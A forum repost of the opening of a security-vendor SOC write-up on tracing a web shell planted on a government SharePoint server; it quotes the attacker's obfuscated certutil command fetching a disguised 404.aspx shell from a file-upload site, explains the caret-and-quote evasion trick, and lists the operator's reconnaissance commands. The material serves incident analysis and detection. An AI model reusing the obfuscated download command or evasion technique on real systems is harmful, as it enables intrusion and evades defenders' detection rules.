The SOC files: Chasing the web shell
#1
Bug 
Quote:Web shells have evolved far beyond their original purpose of basic remote command execution, and many now function more like lightweight exploitation frameworks. These tools often include features such as in-memory module execution and encrypted command-and-control (C2) communication, giving attackers flexibility while minimizing their footprint.
 
This article walks through a SOC investigation where efficient surface-level analysis led to the identification of a web shell associated with a well-known toolset commonly associated with Chinese-speaking threat actors. Despite being a much-discussed tool, it is still used by the attackers for post-exploitation activities, thanks to its modular design and adaptability. We’ll break down the investigative process, detail how the analysts uncovered the web shell family, and highlight practical detection strategies to help defenders identify similar threats.

Onset

It’s early Monday morning, almost 4am UTC time, and the apparent nighttime calm inside the SOC is abruptly interrupted by an alert from our SIEM. It indicates that Kaspersky Endpoint Security’s heuristic engine has detected a web shell (
 
Code:
HEUR:Backdoor.MSIL.WebShell.gen

) on the SharePoint server of a government infrastructure in Southeast Asia, a warning that no SOC analyst would want to ignore.
C:\Windows\System32\inetsrv\w3wp.exe -ap "SharePoint" [...]
└── "cmd.exe" /c cd /d "[REDACTED]"&,;;;,@cer^t^u^t^il -u""""r""""l""""c""""a""""c""""h""""e"""" -split -f hxxps://bashupload[.]com/[REDACTED]/404.aspx 404.aspx
└── C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\[REDACTED]\[REDACTED]\App_Web_404.aspx.[REDACTED].[REDACTED].dll123C:\Windows\System32\inetsrv\w3wp.exe -ap "SharePoint" [...]└── "cmd.exe" /c cd /d "[REDACTED]"&,;;;,@cer^t^u^t^il -u""""r""""l""""c""""a""""c""""h""""e"""" -split -f hxxps://bashupload[.]com/[REDACTED]/404.aspx 404.aspx└── C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\[REDACTED]\[REDACTED]\App_Web_404.aspx.[REDACTED].[REDACTED].dll

The night shift team springs into action, knowing that the web shell could be the beginning of much worse activity, and that every second counts. Initial analysis of the telemetry suggests that the attackers exploited the affected web server, either by taking advantage of another web shell or a command injection vulnerability.

From the listing above, where the process tree that triggered the first detection is reported, it is possible to observe an attempt to deploy a web shell disguised as a 404 page. The certutil utility was used to download the ASPX payload, which was hosted by abusing Bashupload. This web service, which is used to upload files from the command line and allows one-time downloads of samples, is no stranger to being abused as an ingress tool transfer technique.

As is common practice, the command has been slightly obfuscated by using escape characters (such as ^ and “) to break up the keywords “certutil” and “urlcache” in order to bypass basic detection rules based on simple pattern matching.

As part of our MDR service, we are required to operate within pre-established boundaries that are tailored to the customer’s business continuity needs and risk tolerance. In this case, the customer retains ownership of decisions regarding sensitive assets, including the isolation of compromised hosts, so we can’t instantly block the attack and must continue to observe and perform a preliminary threat analysis.

A manual reconnaissance and discovery activity by an operator starts appearing, and despite the tension, an occasional typo (“localgorup”) manages to draw a smile:
 
Code:
whoami
net user
query user
net localgorup administrators
net localgroup administrators
whoami /all
"cmd.exe" /c cd /d "[REDACTED]"&,;;;,@cer^t^u^t^il[...]1234567whoaminet userquery usernet localgorup administratorsnet localgroup administratorswhoami /all"cmd.exe" /c cd /d "[REDACTED]"&,;;;,@cer^t^u^t^il[...]

Continue Reading...
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)
[-]
Welcome
You have to register before you can post on our site.

Username/Email:


Password:





[-]
Recent Posts
Windows 11 Insider Build 26220.7535 Adds...
Microsoft has rele...harlan4096 — 08:31
10 Software Tweaks To Make an Old Window...
Older Windows lapt...harlan4096 — 08:29
iOS 26 Adds Call Screening That Effectiv...
Apple has added a ...harlan4096 — 08:28
Linux Mint 22.3
Linux Mint 22.3: ...harlan4096 — 08:13
Trying out EaseUS Video Downloader Pro
This is a very goo...masonwright757 — 14:26

[-]
Birthdays
Today's Birthdays
No birthdays today.
Upcoming Birthdays
avatar (50)theoldevext
avatar (45)algratCep
avatar (50)Qlaude2Sap
avatar (51)Josepharelf
avatar (40)kholukrefar
avatar (49)Lauraimike
avatar (51)WilsonWag
avatar (49)StevenPiole
avatar (40)zetssToomy
avatar (47)GornOr
avatar (50)Jamesmog
avatar (38)opeqyrav
avatar (38)ivanoFloom
avatar (41)uxegihor

[-]
Online Staff
harlan4096's profile harlan4096
Administrator
dhruv2193's profile dhruv2193

>